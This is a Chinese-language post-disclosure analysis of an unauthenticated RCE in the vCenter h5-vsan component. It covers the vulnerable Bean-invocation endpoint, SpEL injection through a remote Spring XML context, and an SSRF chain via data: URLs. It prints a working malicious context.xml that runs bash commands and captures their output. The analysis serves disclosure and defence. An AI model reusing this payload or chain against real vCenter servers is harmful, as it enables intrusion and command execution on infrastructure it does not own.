vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百个 bundle。前几日爆出的任意文件写入漏洞即为 vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中,发现 h5-vsan 相关的 bundle 提供了一些 API 端点,并且未经过授权即可访问。通过进一步的利用,发现其中某个端点存在安全问题,可以执行任意 Spring Bean 的方法,从而导致命令执行。
漏洞时间线:
- 2021/04/13 - 发现漏洞并实现 RCE;
- 2021/04/16 - 提交漏洞至 VMware 官方并获得回复;
- 2021/05/26 - VMware 发布漏洞 Advisory(VMSA-2021-0010);
- 2021/06/02 - Exploit 公开(from 随风's blog);
- 2021/06/05 - 本文公开。
0x01. 漏洞分析
存在漏洞的 API 端点如下:
首先在请求路径中获取 Bean 名称或者类名和方法名称,接着从 POST 数据中获取 methodInput
列表作为方法参数,接着进入 invokeService
方法:
invokeServer
先获取了 Bean 实例,接着获取该实例的方法列表,比对方法名和方法参数长度后,将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean 非常多(根据版本不同数量有微量变化),如图所示:
其中不乏存在危险方法、可以利用的 Bean,需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext
,对应的类是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl
,其中的 loadVmodlPackage
方法代码如下:
注意到 loadVmodlPackage
会调用 SpringContextLoader
进行加载,vmodPackage
可控。
最终会调用到 ClassPathXmlApplicationContext
的构造方法。ClassPathXmlApplicationContext
可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。
需要注意的是,在 SpringContextLoader
的 getContextFileNameForPackage
会将路径中的 .
替换为 /
,所以无法指定一个正常的 IPv4 地址,但是可以利用数字型 IP 绕过:
XML 文件内容及攻击效果如下:
0x02. 不出网利用(6.7 / 7.0)
若要利用此漏洞本质上需要获取一个 XML 文件的内容,而 Java 的 URL 并不支持 data 协议,那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py:
这里存在一个 SSRF 漏洞,使用的是 Python 的 urlopen
函数进行请求,接着将返回内容在内存中进行解压,并且匹配文件名为 .*offline_bundle.*
的内容并进行返回。Python 的 urlopen
支持 data 协议,所以可以构造一个压缩包并 Base64 编码,构造 data 协议的 URL:
在利用的过程中,将 IP 地址替换为 localhost 即可防止 .
被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在,所以无法在 6.5 版本上不出网利用。
现在虽然不用进行外网请求,但是仍然无法获取命令回显。通过查看 Bean 列表,发现存在名为 systemProperties
的 Bean。同时这个 Bean 也存在方法可以获取属性内容:
所以在执行 SpEL 时,可以将命令暂存到 systemProperties
中,然后利用 getProperty
方法获取回显。最终的 context.xml 内容为:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ ls -la / 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>
最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件,触发第二个 SSRF 漏洞从而返回内容可控的 XML 文件内容,XML 文件会执行命令并存入 System Properties 中,第二个请求调用 systemProperties
Bean 的 getProperty
方法获取输出。最终攻击效果如下: